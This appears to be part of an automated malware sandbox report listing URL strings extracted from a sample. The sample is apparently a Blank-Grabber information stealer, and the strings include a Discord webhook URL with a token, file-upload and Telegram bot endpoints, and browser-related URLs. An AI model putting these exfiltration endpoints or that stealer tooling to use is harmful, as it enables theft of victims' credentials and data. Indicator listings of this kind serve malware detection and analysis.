Source: 9g9LZNE4bH.exe, 00000000.00000003.2029680452.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027522576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027742933.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026438484.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027153929.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2027440588.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025472541.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029990459.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025338149.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026254696.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2029516271.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026342606.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025951320.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2025197321.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026037840.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2026161576.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, python311.dll.0.dr, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: 9g9LZNE4bH.exe, 00000002.00000003.2048185585.000001F12AE24000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE24000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049688627.000001F12AE24000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048141519.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049571529.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048802049.000001F12AE54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: 9g9LZNE4bH.exe, 00000002.00000003.2397711771.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2397324147.000001F12B4EF000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2397218402.000001F12B4E8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2402488296.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftNAV_CO~1.JSOy.
Source: 9g9LZNE4bH.exe, 00000002.00000002.2402488296.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftTASKLI~1.TXTy.
Source: 9g9LZNE4bH.exe, 00000002.00000003.2125868086.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2145008489.000001F12B4E8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2080721339.000001F12B4E9000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2170214194.000001F12B4E8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B4F0000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2172503654.000001F12B4E8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2079501485.000001F12B4E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoftXULSTO~1.JSOy.
Source: 9g9LZNE4bH.exe, 00000002.00000003.2048185585.000001F12ADED000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048141519.000001F12B460000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2049571529.000001F12B460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4FC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4FC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 00000007.00000002.2190941611.000001B981DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2242595273.000001C03B381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload-
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadr
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: 9g9LZNE4bH.exe, 00000002.00000003.2050265595.000001F12B470000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2050777050.000001F12B470000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE76000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2050661555.000001F12AE79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue42195.
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12C004000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000000.00000003.2028876650.000001A5F361E000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404350121.000001F12BD40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1324952562377691148/tMn5PGZkUcHw6GRus7vQh5nn9lZzv19crpx5XMfJnhrwGYX
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A6F8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A6F8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042414743.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042483409.000001F12AEA2000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberr
Source: 9g9LZNE4bH.exe, 00000002.00000003.2040645327.000001F12BC08000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2041272550.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2041841981.000001F12AE8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03B5AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2033778965.000001F128D5B000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398934018.000001F12A6F8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2033778965.000001F128D5B000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2032706611.000001F128D69000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: 9g9LZNE4bH.exe, 00000002.00000003.2032440524.000001F12AB01000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2033778965.000001F128D5B000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2398637648.000001F128D27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399793593.000001F12AEF9000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AEF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urlli?Z
Source: 9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2168
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: 9g9LZNE4bH.exe, 00000002.00000002.2401915686.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B480000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2085401130.000001F12B471000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2144196309.000001F12B480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: 9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AE72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3020
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03C25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2138960524.000001F12B1CB000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399251946.000001F12AB14000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400159195.000001F12B157000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2138960524.000001F12B1CB000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B1CD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2395753264.000001F12B1CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400025008.000001F12AF00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399793593.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2143833487.000001F12AE9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400159195.000001F12B157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404785095.000001F12BF70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://importlib-resources.readthedocs.io/en/latest/using.html#migrating-from-legacy
Source: 9g9LZNE4bH.exe, 00000002.00000003.2050892507.000001F12AEBD000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048564293.000001F12AD6C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400159195.000001F12B000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C4B4000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2137521294.000001F12BAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: 9g9LZNE4bH.exe, 00000002.00000003.2137521294.000001F12BAA0000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C50C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 00000007.00000002.2222117000.000001B991E34000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2291396544.000001C04B3F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2242595273.000001C03CCF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2291396544.000001C04B53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03C986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000002A.00000002.2242595273.000001C03C986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: 9g9LZNE4bH.exe, 00000002.00000002.2404350121.000001F12BD40000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404593794.000001F12BE50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: 9g9LZNE4bH.exe, 00000002.00000003.2050316287.000001F12AD71000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2045682909.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2039094220.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2034507305.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2039896185.000001F12AD60000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399381962.000001F12AC00000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2048564293.000001F12AD6C000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.dr	String found in binary or memory: https://peps.python.org/pep-0205/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2407700677.00007FF8A8CCC000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: 9g9LZNE4bH.exe, 00000002.00000002.2400386354.000001F12B208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399154194.000001F12A900000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngp
Source: 9g9LZNE4bH.exe, 00000002.00000003.2042038226.000001F12AE4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: 9g9LZNE4bH.exe, 00000000.00000003.2028286503.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 9g9LZNE4bH.exe, 00000002.00000003.2097358541.000001F12B4D8000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2110914947.000001F12B36D000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2125868086.000001F12B4D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: 9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2112269853.000001F12B31C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2111259470.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2093044186.000001F12B23C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 9g9LZNE4bH.exe, 00000002.00000002.2401507128.000001F12B317000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/p
Source: 9g9LZNE4bH.exe, 00000002.00000003.2070355548.000001F12B29F000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2399251946.000001F12AB14000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000003.2112269853.000001F12B31C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399506698.000001F12AD13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: 9g9LZNE4bH.exe, 00000002.00000002.2399251946.000001F12AB14000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2404950262.000001F12C46C000.00000004.00001000.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2400159195.000001F12B157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
